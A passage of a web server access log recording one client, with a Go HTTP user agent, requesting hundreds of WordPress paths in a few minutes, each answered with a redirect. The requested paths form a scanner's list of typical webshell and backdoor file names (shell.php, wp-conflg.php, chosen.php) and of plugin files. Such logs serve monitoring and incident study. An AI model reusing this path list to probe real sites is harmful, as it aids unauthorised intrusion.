"Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:03 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:03 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:06 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:09 +0300] "GET /wp-includes/block-bindings/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:13 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:13 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:17 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:17 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:19 +0300] "GET /wp-includes/js/mediaelement/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:20 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:25 +0300] "GET /wp-admin/m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:29 +0300] "GET /img/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:34 +0300] "GET /wp-includes/blocks/comments-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:35 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:35 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:38 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:40 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:43 +0300] "GET /wp-includes/rest-api/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:45 +0300] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:48 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:50 +0300] "GET /wp-includes/php-compat/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:52 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:56 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:28:59 +0300] "GET /wp-content/themes/twentytwentyfive/patterns/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:04 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:04 +0300] "GET /wp-admin/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:08 +0300] "GET /wp-content/vudel/list.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:11 +0300] "GET /wp-content/plugins/filester/assets/css/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:15 +0300] "GET /wp-content/themes/hello-elementor/assets/css/lightbox.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:18 +0300] "GET /wp-content/plugins/advanced-custom-fields/includes/walkers/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:21 +0300] "GET /wp-content/plugins/elementor/includes/controls/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:24 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:27 +0300] "GET /wp-content/well-known/acme-challenge/c/e/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:30 +0300] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:33 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:37 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:39 +0300] "GET /wp-includes/SimplePie/library/SimplePie/Content/Type/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:41 +0300] "GET /man.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:43 +0300] "GET /wp-content/zoom1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:47 +0300] "GET /wp-content/themes/astra/inc/compatibility/lifterlms/customizer/sections/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:50 +0300] "GET /wp-content/themes/astra/inc/customizer/custom-controls/assets/js/unminified/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:53 +0300] "GET /wp-content/themes/astra/inc/customizer/custom-controls/assets/css/minified/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:29:57 +0300] "GET /wp-content/themes/astra/assets/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:01 +0300] "GET /wp-content/uploads/astra-addon/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:05 +0300] "GET /wp-includes/Text/wp-mails.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:10 +0300] "GET /wp-includes/SimplePie/new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:15 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:16 +0300] "GET /wp-content/languages/plugins/js/crd/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:20 +0300] "GET /wp-content/themes/twentytwentyfour/uploads/isc/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:24 +0300] "GET /wp-includes/js/thickbox/img/docs/includes/data/tmp/klo/aawl/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:28 +0300] "GET /wp-content/themes/wp-pridmag/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:31 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:32 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:32 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:33 +0300] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:33 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:34 +0300] "GET /wp-includes/blocks/audio/go.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:36 +0300] "GET /wp-includes/ID3/imagess.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:38 +0300] "GET /wp-admin/network/imagess.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:42 +0300] "GET /wp-admin/maint/let.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:45 +0300] "GET /wp-admin/go.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:48 +0300] "GET /wp-admin/user/huan.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:51 +0300] "GET /wp-includes/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:54 +0300] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:30:56 +0300] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:00 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:05 +0300] "GET /wp-content/plugins/loarrfh/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:09 +0300] "GET /wp-content/plugins/foogallery/foogallery.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:14 +0300] "GET /wp-content/plugins/404-solution/404-solution.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:17 +0300] "GET /wp-content/plugins/duplicator/src/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:19 +0300] "GET /wp-content/plugins/admin-menu-search/admin-menu-search.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:22 +0300] "GET /wp-content/plugins/admin-site-enhancements/admin-site-enhancements.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:27 +0300] "GET /wp-content/plugins/members/members.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:29 +0300] "GET /wp-content/plugins/performance-lab/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:32 +0300] "GET /wp-content/plugins/performance-lab/includes/admin/tags.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:34 +0300] "GET /wp-content/plugins/tinymce-advanced/tinymce-advanced.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:37 +0300] "GET /wp-content/themes/fitnessbase/inc/customizer/al.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:39 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:42 +0300] "GET /wp-content/themes/hello-elementor/new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:44 +0300] "GET /wp-content/themes/theme-check/theme-check.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:48 +0300] "GET /wp-content/plugins/advanced-llms-txt-generator/assets/css/css_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:50 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:54 +0300] "GET /wp-content/plugins/Iitespeed-cache/zczv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:56 +0300] "GET /wp-content/uploads/woocommerce_uploads/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:31:58 +0300] "GET /wp-content/plugins/carousel-slider/templates/loop/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:02 +0300] "GET /wp-content/adca.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:06 +0300] "GET /wp-content/maintenance/bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:09 +0300] "GET /wp-admin/js/widgets/html-api/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:11 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:13 +0300] "GET /wp-content/plugins/siteorigin-panels/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:16 +0300] "GET /wp-admin/includes/nav-menu-trigger.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:19 +0300] "GET /wp-includes/link-template-firewall.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:23 +0300] "GET /wp-content/themes/hello-elementor/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:27 +0300] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:27 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:28 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:31 +0300] "GET /wp-includes/blocks/post-template/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:36 +0300] "GET /wp-includes/css/dist/components/style-rtl.min_42.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:39 +0300] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:40 +0300] "GET /wp-includes/SimplePie/Credit_74.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:44 +0300] "GET /wp-content/plugins/akismet/_40.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:47 +0300] "GET /wp-admin/css/colors/coffee/colors_26.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:50 +0300] "GET /wp-includes/fonts/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:52 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:52 +0300] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:55 +0300] "GET /wp-includes/blocks/video/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:55 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:56 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:32:58 +0300] "GET /wp-admin/js/widgets/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:00 +0300] "GET /wp-admin/theme-editor-class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:05 +0300] "GET /wp-content/plugins/LayerSlider/assets/static/codemirror/addon/hint/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:08 +0300] "GET /wp-content/plugins/LayerSlider/assets/static/layerslider/skins/carousel/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:11 +0300] "GET /wp-content/plugins/fusion-core/css/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:14 +0300] "GET /wp-content/plugins/themely/img/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:19 +0300] "GET /wp-includes/blocks/page-list-item/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:22 +0300] "GET /wp-content/plugins/amp/vendor/ampproject/amp-toolbox/src/Validator/Spec/DescendantTagList/HeaRk.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:24 +0300] "GET /wp-admin/sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:27 +0300] "GET /wp-admin/user/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:31 +0300] "GET /prayer_intentions.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:35 +0300] "GET /images/data.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:38 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:42 +0300] "GET /wp-includes/block-supports/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:46 +0300] "GET /wp-includes/sodium_compat/lib/v3/dist/build/build/cache.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:49 +0300] "GET /wp-content/plugins/post-views-counter/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:52 +0300] "GET /wp-admin/user/media/dwv/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:54 +0300] "GET /wp-includes/customize/zoom1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:33:59 +0300] "GET /wp-content/fonts/roboto/wp-admins.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:04 +0300] "GET /wp-content/themes/flatsome/wp-kgg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:08 +0300] "GET /wp-content/themes/news-portal/wp-admins.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:11 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:11 +0300] "GET /wp-includes/css/dist/commands/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:11 +0300] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:16 +0300] "GET /wp-content/themes/spacious-pro/js/theia-sticky-sidebar/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:22 +0300] "GET /wp-includes/Requests/zxasd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:25 +0300] "GET /wp-includes/theme-compat/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:28 +0300] "GET /wp-includes/theme-compat/sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:31 +0300] "GET /wp-includes/certificates/ty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:35 +0300] "GET /wp-includes/css/ty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:39 +0300] "GET /wp-includes/fonts/ty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:42 +0300] "GET /wp-includes/assets/a1cord.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:45 +0300] "GET /wp-includes/blocks/comment-edit-link/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:46 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:50 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:55 +0300] "GET /wp-content/plugins/wp_helper_bimfl/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:34:58 +0300] "GET /wp-content/plugins/wp_helper_avcdl/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:03 +0300] "GET /wp-content/plugins/wp_helper_rrvvo/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:08 +0300] "GET /wp-content/plugins/contact-form-7/wp-contact-form-7.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:13 +0300] "GET /wp-content/themes/wp_theme_ahewl/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:17 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:17 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:18 +0300] "GET /wp-includes/PHPMailer/tx20.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:23 +0300] "GET /wp-includes/ah22.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:28 +0300] "GET /wp-includes/js/ooo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:32 +0300] "GET /wp-includes/js/jcrop/dist/content/pmdwx/xfe/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:36 +0300] "GET /wp-admin/css/colors/midnight/resources/dist/includes/img/alw/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:40 +0300] "GET /wp-admin/js/widgets/cache/assets/v3/v3/files/akami/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:44 +0300] "GET /wp-admin/datate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:48 +0300] "GET /wp-includes/PHPMailer/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:53 +0300] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:35:56 +0300] "GET /wp-content/plugins/call-now-button/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:01 +0300] "GET /wp-content/uploads/rank-math/mmm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:06 +0300] "GET /wp-content/maintenance/assets/mmm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:11 +0300] "GET /wp-includes/ID3/menu.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:16 +0300] "GET /wp-includes/js/crop/menu.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:21 +0300] "GET /wp-includes/sitemaps/todpIbcm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:26 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:30 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:35 +0300] "GET /about/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:39 +0300] "GET /new/update/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:43 +0300] "GET /new/wp-2019.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:46 +0300] "GET /wp-content/wp-2019.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:51 +0300] "GET /wp-includes/zczv.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:56 +0300] "GET /wp-content/themes/as/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:36:59 +0300] "GET /wp-content/wp-rocket-config/V.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:02 +0300] "GET /wp-includes/block-patterns/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:06 +0300] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:07 +0300] "GET /wp-includes/html-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:10 +0300] "GET /wp-admin/v.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:13 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:16 +0300] "GET /wp-content/themes/twentytwentythree/templates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:17 +0300] "GET /wp-content/fonts/page.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:19 +0300] "GET /wp-includes/blocks/separator/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - [25/Feb/2026:07:37:20 +0300] "GET /wp-includes/rest-api/endpoints/webix.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.95 - - 